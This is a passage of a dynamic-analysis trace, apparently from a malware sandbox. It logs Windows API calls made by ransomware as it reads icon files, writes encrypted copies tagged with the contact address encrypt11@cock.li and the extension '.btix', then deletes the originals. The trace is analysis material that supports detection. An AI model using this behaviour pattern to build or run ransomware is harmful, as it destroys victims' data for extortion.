nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x316fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d26020*, lpNumberOfBytesWritten=0x316fc94*=0xea, lpOverlapped=0x0) returned 1 [0043.471] SetEndOfFile (hFile=0x324) returned 1 [0043.471] CloseHandle (hObject=0x324) returned 1 [0043.471] SetFilePointerEx (in: hFile=0x354, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x316fec0 | out: lpNewFilePointer=0x0) returned 1 [0043.471] SetEndOfFile (hFile=0x354) returned 1 [0043.472] CloseHandle (hObject=0x354) returned 1 [0043.472] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Rotate2.ico.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x80) returned 1 [0043.472] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Rotate2.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\rotate2.ico")) returned 1 [0043.473] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate2.ico") returned 42 [0043.473] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate2.ico") returned 42 [0043.473] lstrlenW (lpString=".doc") returned 4 [0043.473] lstrcmpiW (lpString1=".doc", lpString2=".ico") returned -1 [0043.473] lstrlenW (lpString=".docx") returned 5 [0043.473] lstrcmpiW (lpString1=".docx", lpString2="2.ico") returned -1 [0043.473] lstrlenW (lpString=".pdf") returned 4 [0043.473] lstrcmpiW (lpString1=".pdf", lpString2=".ico") returned 1 [0043.473] lstrlenW (lpString=".xls") returned 4 [0043.473] lstrcmpiW (lpString1=".xls", lpString2=".ico") returned 1 [0043.473] lstrlenW (lpString=".xlsx") returned 5 [0043.473] lstrcmpiW (lpString1=".xlsx", lpString2="2.ico") returned -1 [0043.473] lstrlenW (lpString=".ppt") returned 4 [0043.473] lstrcmpiW (lpString1=".ppt", lpString2=".ico") returned 1 [0043.473] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate2.ico") returned 42 [0043.473] lstrlenW (lpString=".zip") returned 4 [0043.473] lstrcmpiW (lpString1=".zip", lpString2=".ico") returned 1 [0043.473] lstrlenW (lpString=".rar") returned 4 [0043.473] lstrcmpiW (lpString1=".rar", lpString2=".ico") returned 1 [0043.473] lstrlenW (lpString=".bz2") returned 4 [0043.473] lstrcmpiW (lpString1=".bz2", lpString2=".ico") returned -1 [0043.473] lstrlenW (lpString=".7z") returned 3 [0043.473] lstrcmpiW (lpString1=".7z", lpString2="ico") returned -1 [0043.473] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate2.ico") returned 42 [0043.473] lstrlenW (lpString=".dbf") returned 4 [0043.473] lstrcmpiW (lpString1=".dbf", lpString2=".ico") returned -1 [0043.473] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate2.ico") returned 42 [0043.473] lstrlenW (lpString=".1cd") returned 4 [0043.473] lstrcmpiW (lpString1=".1cd", lpString2=".ico") returned -1 [0043.473] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate2.ico") returned 42 [0043.474] lstrlenW (lpString=".jpg") returned 4 [0043.474] lstrcmpiW (lpString1=".jpg", lpString2=".ico") returned 1 [0043.474] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate2.ico") returned 42 [0043.474] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate2.ico") returned 42 [0043.474] lstrlenW (lpString=".doc") returned 4 [0043.474] lstrcmpiW (lpString1=".doc", lpString2=".ico") returned -1 [0043.474] lstrlenW (lpString=".docx") returned 5 [0043.474] lstrcmpiW (lpString1=".docx", lpString2="2.ico") returned -1 [0043.474] lstrlenW (lpString=".pdf") returned 4 [0043.474] lstrcmpiW (lpString1=".pdf", lpString2=".ico") returned 1 [0043.474] lstrlenW (lpString=".xls") returned 4 [0043.474] lstrcmpiW (lpString1=".xls", lpString2=".ico") returned 1 [0043.474] lstrlenW (lpString=".xlsx") returned 5 [0043.474] lstrcmpiW (lpString1=".xlsx", lpString2="2.ico") returned -1 [0043.474] lstrlenW (lpString=".ppt") returned 4 [0043.474] lstrcmpiW (lpString1=".ppt", lpString2=".ico") returned 1 [0043.474] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate2.ico") returned 42 [0043.474] lstrlenW (lpString=".zip") returned 4 [0043.474] lstrcmpiW (lpString1=".zip", lpString2=".ico") returned 1 [0043.474] lstrlenW (lpString=".rar") returned 4 [0043.474] lstrcmpiW (lpString1=".rar", lpString2=".ico") returned 1 [0043.474] lstrlenW (lpString=".bz2") returned 4 [0043.474] lstrcmpiW (lpString1=".bz2", lpString2=".ico") returned -1 [0043.474] lstrlenW (lpString=".7z") returned 3 [0043.474] lstrcmpiW (lpString1=".7z", lpString2="ico") returned -1 [0043.474] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate2.ico") returned 42 [0043.474] lstrlenW (lpString=".dbf") returned 4 [0043.474] lstrcmpiW (lpString1=".dbf", lpString2=".ico") returned -1 [0043.474] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate2.ico") returned 42 [0043.474] lstrlenW (lpString=".1cd") returned 4 [0043.474] lstrcmpiW (lpString1=".1cd", lpString2=".ico") returned -1 [0043.474] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate2.ico") returned 42 [0043.474] lstrlenW (lpString=".jpg") returned 4 [0043.474] lstrcmpiW (lpString1=".jpg", lpString2=".ico") returned 1 [0043.475] lstrcmpiW (lpString1=".ico", lpString2=".btix") returned 1 [0043.475] lstrlenW (lpString="Rotate5.ico") returned 11 [0043.475] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Rotate5.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\rotate5.ico"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x354 [0043.475] GetFileSizeEx (in: hFile=0x354, lpFileSize=0x316ff14 | out: lpFileSize=0x316ff14*=894) returned 1 [0043.475] CloseHandle (hObject=0x354) returned 1 [0043.475] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Rotate5.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\rotate5.ico")) returned 0x80 [0043.475] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Rotate5.ico.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\588bce7c90097ed212\\graphics\\rotate5.ico.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0043.475] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Rotate5.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\rotate5.ico"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x354 [0043.475] SetFilePointerEx (in: hFile=0x354, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x316fec0 | out: lpNewFilePointer=0x0) returned 1 [0043.475] SetFilePointerEx (in: hFile=0x354, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x316fec0 | out: lpNewFilePointer=0x0) returned 1 [0043.475] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Rotate5.ico.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\588bce7c90097ed212\\graphics\\rotate5.ico.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x324 [0043.476] GetLastError () returned 0x0 [0043.476] ReadFile (in: hFile=0x354, lpBuffer=0x3d26020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x316fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d26020*, lpNumberOfBytesRead=0x316fecc*=0x37e, lpOverlapped=0x0) returned 1 [0043.552] WriteFile (in: hFile=0x324, lpBuffer=0x3d26020*, nNumberOfBytesToWrite=0x380, lpNumberOfBytesWritten=0x316fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d26020*, lpNumberOfBytesWritten=0x316fc94*=0x380, lpOverlapped=0x0) returned 1 [0043.553] ReadFile (in: hFile=0x354, lpBuffer=0x3d26020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x316fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d26020*, lpNumberOfBytesRead=0x316fecc*=0x0, lpOverlapped=0x0) returned 1 [0043.553] WriteFile (in: hFile=0x324, lpBuffer=0x3d26020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x316fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d26020*, lpNumberOfBytesWritten=0x316fc94*=0xea, lpOverlapped=0x0) returned 1 [0043.553] SetEndOfFile (hFile=0x324) returned 1 [0043.553] CloseHandle (hObject=0x324) returned 1 [0043.554] SetFilePointerEx (in: hFile=0x354, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x316fec0 | out: lpNewFilePointer=0x0) returned 1 [0043.554] SetEndOfFile (hFile=0x354) returned 1 [0043.554] CloseHandle (hObject=0x354) returned 1 [0043.554] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Rotate5.ico.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x80) returned 1 [0043.555] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Rotate5.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\rotate5.ico")) returned 1 [0043.555] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate5.ico") returned 42 [0043.555] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate5.ico") returned 42 [0043.555] lstrlenW (lpString=".doc") returned 4 [0043.555] lstrcmpiW (lpString1=".doc", lpString2=".ico") returned -1 [0043.555] lstrlenW (lpString=".docx") returned 5 [0043.555] lstrcmpiW (lpString1=".docx", lpString2="5.ico") returned -1 [0043.555] lstrlenW (lpString=".pdf") returned 4 [0043.555] lstrcmpiW (lpString1=".pdf", lpString2=".ico") returned 1 [0043.555] lstrlenW (lpString=".xls") returned 4 [0043.555] lstrcmpiW (lpString1=".xls", lpString2=".ico") returned 1 [0043.555] lstrlenW (lpString=".xlsx") returned 5 [0043.555] lstrcmpiW (lpString1=".xlsx", lpString2="5.ico") returned -1 [0043.555] lstrlenW (lpString=".ppt") returned 4 [0043.555] lstrcmpiW (lpString1=".ppt", lpString2=".ico") returned 1 [0043.555] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate5.ico") returned 42 [0043.555] lstrlenW (lpString=".zip") returned 4 [0043.555] lstrcmpiW (lpString1=".zip", lpString2=".ico") returned 1 [0043.555] lstrlenW (lpString=".rar") returned 4 [0043.556] lstrcmpiW (lpString1=".rar", lpString2=".ico") returned 1 [0043.556] lstrlenW (lpString=".bz2") returned 4 [0043.556] lstrcmpiW (lpString1=".bz2", lpString2=".ico") returned -1 [0043.556] lstrlenW (lpString=".7z") returned 3 [0043.556] lstrcmpiW (lpString1=".7z", lpString2="ico") returned -1 [0043.556] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate5.ico") returned 42 [0043.556] lstrlenW (lpString=".dbf") returned 4 [0043.556] lstrcmpiW (lpString1=".dbf", lpString2=".ico") returned -1 [0043.556] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate5.ico") returned 42 [0043.556] lstrlenW (lpString=".1cd") returned 4 [0043.556] lstrcmpiW (lpString1=".1cd", lpString2=".ico") returned -1 [0043.556] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate5.ico") returned 42 [0043.556] lstrlenW (lpString=".jpg") returned 4 [0043.556] lstrcmpiW (lpString1=".jpg", lpString2=".ico") returned 1 [0043.556] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate5.ico") returned 42 [0043.556] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate5.ico") returned 42 [0043.556] lstrlenW (lpString=".doc") returned 4 [0043.556] lstrcmpiW (lpString1=".doc", lpString2=".ico") returned -1 [0043.556] lstrlenW (lpString=".docx") returned 5 [0043.556] lstrcmpiW (lpString1=".docx", lpString2="5.ico") returned -1 [0043.556] lstrlenW (lpString=".pdf") returned 4 [0043.556] lstrcmpiW (lpString1=".pdf", lpString2=".ico") returned 1 [0043.556] lstrlenW (lpString=".xls") returned 4 [0043.556] lstrcmpiW (lpString1=".xls", lpString2=".ico") returned 1 [0043.556] lstrlenW (lpString=".xlsx") returned 5 [0043.556] lstrcmpiW (lpString1=".xlsx", lpString2="5.ico") returned -1 [0043.556] lstrlenW (lpString=".ppt") returned 4 [0043.556] lstrcmpiW (lpString1=".ppt", lpString2=".ico") returned 1 [0043.556] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate5.ico") returned 42 [0043.556] lstrlenW (lpString=".zip") returned 4 [0043.557] lstrcmpiW (lpString1=".zip", lpString2=".ico") returned 1 [0043.557] lstrlenW (lpString=".rar") returned 4 [0043.557] lstrcmpiW (lpString1=".rar", lpString2=".ico") returned 1 [0043.557] lstrlenW (lpString=".bz2") returned 4 [0043.557] lstrcmpiW (lpString1=".bz2", lpString2=".ico") returned -1 [0043.557] lstrlenW (lpString=".7z") returned 3 [0043.557] lstrcmpiW (lpString1=".7z", lpString2="ico") returned -1 [0043.557] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate5.ico") returned 42 [0043.557] lstrlenW (lpString=".dbf") returned 4 [0043.557] lstrcmpiW (lpString1=".dbf", lpString2=".ico") returned -1 [0043.557] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate5.ico") returned 42 [0043.557] lstrlenW (lpString=".1cd") returned 4 [0043.557] lstrcmpiW (lpString1=".1cd", lpString2=".ico") returned -1 [0043.557] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate5.ico") returned 42 [0043.557] lstrlenW (lpString=".jpg") returned 4 [0043.557] lstrcmpiW (lpString1=".jpg", lpString2=".ico") returned 1 [0043.557] lstrcmpiW (lpString1=".ico", lpString2=".btix") returned 1 [0043.557] lstrlenW (lpString="Rotate8.ico") returned 11 [0043.557] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Rotate8.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\rotate8.ico"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x354 [0043.558] GetFileSizeEx (in: hFile=0x354, lpFileSize=0x316ff14 | out: lpFileSize=0x316ff14*=894) returned 1 [0043.558] CloseHandle (hObject=0x354) returned 1 [0043.558] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Rotate8.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\rotate8.ico")) returned 0x80 [0043.558] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Rotate8.ico.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\588bce7c90097ed212\\graphics\\rotate8.ico.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0043.558] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Rotate8.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\rotate8.ico"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x354 [0043.558] SetFilePointerEx (in: hFile=0x354, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x316fec0 | out: lpNewFilePointer=0x0) returned 1 [0043.558] SetFilePointerEx (in: hFile=0x354, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x316fec0 | out: lpNewFilePointer=0x0) returned 1 [0043.558] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Rotate8.ico.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\588bce7c90097ed212\\graphics\\rotate8.ico.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x324 [0043.558] GetLastError () returned 0x0 [0043.559] ReadFile (in: hFile=0x354, lpBuffer=0x3d26020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x316fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d26020*, lpNumberOfBytesRead=0x316fecc*=0x37e, lpOverlapped=0x0) returned 1 [0043.571] WriteFile (in: hFile=0x324, lpBuffer=0x3d26020*, nNumberOfBytesToWrite=0x380, lpNumberOfBytesWritten=0x316fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d26020*, lpNumberOfBytesWritten=0x316fc94*=0x380, lpOverlapped=0x0) returned 1 [0043.571] ReadFile (in: hFile=0x354, lpBuffer=0x3d26020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x316fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d26020*, lpNumberOfBytesRead=0x316fecc*=0x0, lpOverlapped=0x0) returned 1 [0043.572] WriteFile (in: hFile=0x324, lpBuffer=0x3d26020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x316fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d26020*, lpNumberOfBytesWritten=0x316fc94*=0xea, lpOverlapped=0x0) returned 1 [0043.572] SetEndOfFile (hFile=0x324) returned 1 [0043.572] CloseHandle (hObject=0x324) returned 1 [0043.572] SetFilePointerEx (in: hFile=0x354, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x316fec0 | out: lpNewFilePointer=0x0) returned 1 [0043.572] SetEndOfFile (hFile=0x354) returned 1 [0043.573] CloseHandle (hObject=0x354) returned 1 [0043.573] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Rotate8.ico.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x80) returned 1 [0043.573] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Rotate8.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\rotate8.ico")) returned 1 [0043.574] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate8.ico") returned 42 [0043.574] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate8.ico") returned 42 [0043.574] lstrlenW (lpString=".doc") returned 4 [0043.574] lstrcmpiW (lpString1=".doc", lpString2=".ico") returned -1 [0043.574] lstrlenW (lpString=".docx") returned 5 [0043.574] lstrcmpiW (lpString1=".docx", lpString2="8.ico") returned -1 [0043.574] lstrlenW (lpString=".pdf") returned 4 [0043.574] lstrcmpiW (lpString1=".pdf", lpString2=".ico") returned 1 [0043.574] lstrlenW (lpString=".xls") returned 4 [0043.574] lstrcmpiW (lpString1=".xls", lpString2=".ico") returned 1 [0043.574] lstrlenW (lpString=".xlsx") returned 5 [0043.574] lstrcmpiW (lpString1=".xlsx", lpString2="8.ico") returned -1 [0043.574] lstrlenW (lpString=".ppt") returned 4 [0043.574] lstrcmpiW (lpString1=".ppt", lpString2=".ico") returned 1 [0043.574] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate8.ico") returned 42 [0043.574] lstrlenW (lpString=".zip") returned 4 [0043.574] lstrcmpiW (lpString1=".zip", lpString2=".ico") returned 1 [0043.574] lstrlenW (lpString=".rar") returned 4 [0043.574] lstrcmpiW (lpString1=".rar", lpString2=".ico") returned 1 [0043.574] lstrlenW (lpString=".bz2") returned 4 [0043.574] lstrcmpiW (lpString1=".bz2", lpString2=".ico") returned -1 [0043.574] lstrlenW (lpString=".7z") returned 3 [0043.574] lstrcmpiW (lpString1=".7z", lpString2="ico") returned -1 [0043.574] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate8.ico") returned 42 [0043.574] lstrlenW (lpString=".dbf") returned 4 [0043.574] lstrcmpiW (lpString1=".dbf", lpString2=".ico") returned -1 [0043.574] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate8.ico") returned 42 [0043.575] lstrlenW (lpString=".1cd") returned 4 [0043.575] lstrcmpiW (lpString1=".1cd", lpString2=".ico") returned -1 [0043.575] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate8.ico") returned 42 [0043.575] lstrlenW (lpString=".jpg") returned 4 [0043.575] lstrcmpiW (lpString1=".jpg", lpString2=".ico") returned 1 [0043.575] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate8.ico") returned 42 [0043.575] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate8.ico") returned 42 [0043.575] lstrlenW (lpString=".doc") returned 4 [0043.575] lstrcmpiW (lpString1=".doc", lpString2=".ico") returned -1 [0043.575] lstrlenW (lpString=".docx") returned 5 [0043.575] lstrcmpiW (lpString1=".docx", lpString2="8.ico") returned -1 [0043.575] lstrlenW (lpString=".pdf") returned 4 [0043.575] lstrcmpiW (lpString1=".pdf", lpString2=".ico") returned 1 [0043.575] lstrlenW (lpString=".xls") returned 4 [0043.575] lstrcmpiW (lpString1=".xls", lpString2=".ico") returned 1 [0043.575] lstrlenW (lpString=".xlsx") returned 5 [0043.575] lstrcmpiW (lpString1=".xlsx", lpString2="8.ico") returned -1 [0043.575] lstrlenW (lpString=".ppt") returned 4 [0043.575] lstrcmpiW (lpString1=".ppt", lpString2=".ico") returned 1 [0043.575] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate8.ico") returned 42 [0043.575] lstrlenW (lpString=".zip") returned 4 [0043.575] lstrcmpiW (lpString1=".zip", lpString2=".ico") returned 1 [0043.575] lstrlenW (lpString=".rar") returned 4 [0043.575] lstrcmpiW (lpString1=".rar", lpString2=".ico") returned 1 [0043.575] lstrlenW (lpString=".bz2") returned 4 [0043.575] lstrcmpiW (lpString1=".bz2", lpString2=".ico") returned -1 [0043.575] lstrlenW (lpString=".7z") returned 3 [0043.575] lstrcmpiW (lpString1=".7z", lpString2="ico") returned -1 [0043.575] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate8.ico") returned 42 [0043.575] lstrlenW (lpString=".dbf") returned 4 [0043.576] lstrcmpiW (lpString1=".dbf", lpString2=".ico") returned -1 [0043.576] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate8.ico") returned 42 [0043.576] lstrlenW (lpString=".1cd") returned 4 [0043.576] lstrcmpiW (lpString1=".1cd", lpString2=".ico") returned -1 [0043.576] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate8.ico") returned 42 [0043.576] lstrlenW (lpString=".jpg") returned 4 [0043.576] lstrcmpiW (lpString1=".jpg", lpString2=".ico") returned 1 [0043.576] lstrcmpiW (lpString1=".ico", lpString2=".btix") returned 1 [0043.576] lstrlenW (lpString="Save.ico") returned 8 [0043.576] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Save.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\save.ico"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x354 [0043.576] GetFileSizeEx (in: hFile=0x354, lpFileSize=0x316ff14 | out: lpFileSize=0x316ff14*=1150) returned 1 [0043.576] CloseHandle (hObject=0x354) returned 1 [0043.576] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Save.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\save.ico")) returned 0x80 [0043.576] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Save.ico.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\588bce7c90097ed212\\graphics\\save.ico.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0043.576] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Save.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\save.ico"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x354 [0043.577] SetFilePointerEx (in: hFile=0x354, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x316fec0 | out: lpNewFilePointer=0x0) returned 1 [0043.577] SetFilePointerEx (in: hFile=0x354, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x316fec0 | out: lpNewFilePointer=0x0) returned 1 [0043.577] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Save.ico.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\588bce7c90097ed212\\graphics\\save.ico.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x324 [0043.578] GetLastError () returned 0x0 [0043.578] ReadFile (in: hFile=0x354, lpBuffer=0x3d26020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x316fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d26020*, lpNumberOfBytesRead=0x316fecc*=0x47e, lpOverlapped=0x0) returned 1 [0043.620] WriteFile (in: hFile=0x324, lpBuffer=0x3d26020*, nNumberOfBytesToWrite=0x480, lpNumberOfBytesWritten=0x316fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d26020*, lpNumberOfBytesWritten=0x316fc94*=0x480, lpOverlapped=0x0) returned 1 [0043.621] ReadFile (in: hFile=0x354, lpBuffer=0x3d26020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x316fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d26020*, lpNumberOfBytesRead=0x316fecc*=0x0, lpOverlapped=0x0) returned 1 [0043.621] WriteFile (in: hFile=0x324, lpBuffer=0x3d26020*, nNumberOfBytesToWrite=0xe4, lpNumberOfBytesWritten=0x316fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d26020*, lpNumberOfBytesWritten=0x316fc94*=0xe4, lpOverlapped=0x0) returned 1 [0043.621] SetEndOfFile (hFile=0x324) returned 1 [0043.621] CloseHandle (hObject=0x324) returned 1 [0043.622] SetFilePointerEx (in: hFile=0x354, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x316fec0 | out: lpNewFilePointer=0x0) returned 1 [0043.622] SetEndOfFile (hFile=0x354) returned 1 [0043.622] CloseHandle (hObject=0x354) returned 1 [0043.623] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Save.ico.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x80) returned 1 [0043.623] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Save.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\save.ico")) returned 1 [0043.626] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Save.ico") returned 39 [0043.626] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Save.ico") returned 39 [0043.626] lstrlenW (lpString=".doc") returned 4 [0043.626] lstrcmpiW (lpString1=".doc", lpString2=".ico") returned -1 [0043.626] lstrlenW (lpString=".docx") returned 5 [0043.634] lstrcmpiW (lpString1=".docx", lpString2="e.ico") returned -1 [0043.634] lstrlenW (lpString=".pdf") returned 4 [0043.634] lstrcmpiW (lpString1=".pdf", lpString2=".ico") returned 1 [0043.634] lstrlenW (lpString=".xls") returned 4 [0043.634] lstrcmpiW (lpString1=".xls", lpString2=".ico") returned 1 [0043.634] lstrlenW (lpString=".xlsx") returned 5 [0043.634] lstrcmpiW (lpString1=".xlsx", lpString2="e.ico") returned -1 [0043.634] lstrlenW (lpString=".ppt") returned 4 [0043.634] lstrcmpiW (lpString1=".ppt", lpString2=".ico") returned 1 [0043.634] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Save.ico") returned 39 [0043.634] lstrlenW (lpString=".zip") returned 4 [0043.634] lstrcmpiW (lpString1=".zip", lpString2=".ico") returned 1 [0043.634] lstrlenW (lpString=".rar") returned 4 [0043.634] lstrcmpiW (lpString1=".rar", lpString2=".ico") returned 1 [0043.634] lstrlenW (lpString=".bz2") returned 4 [0043.634] lstrcmpiW (lpString1=".bz2", lpString2=".ico") returned -1 [0043.634] lstrlenW (lpString=".7z") returned 3 [0043.634] lstrcmpiW (lpString1=".7z", lpString2="ico") returned -1 [0043.634] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Save.ico") returned 39 [0043.634] lstrlenW (lpString=".dbf") returned 4 [0043.634] lstrcmpiW (lpString1=".dbf", lpString2=".ico") returned -1 [0043.634] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Save.ico") returned 39 [0043.634] lstrlenW (lpString=".1cd") returned 4 [0043.634] lstrcmpiW (lpString1=".1cd", lpString2=".ico") returned -1 [0043.634] lstrlenW 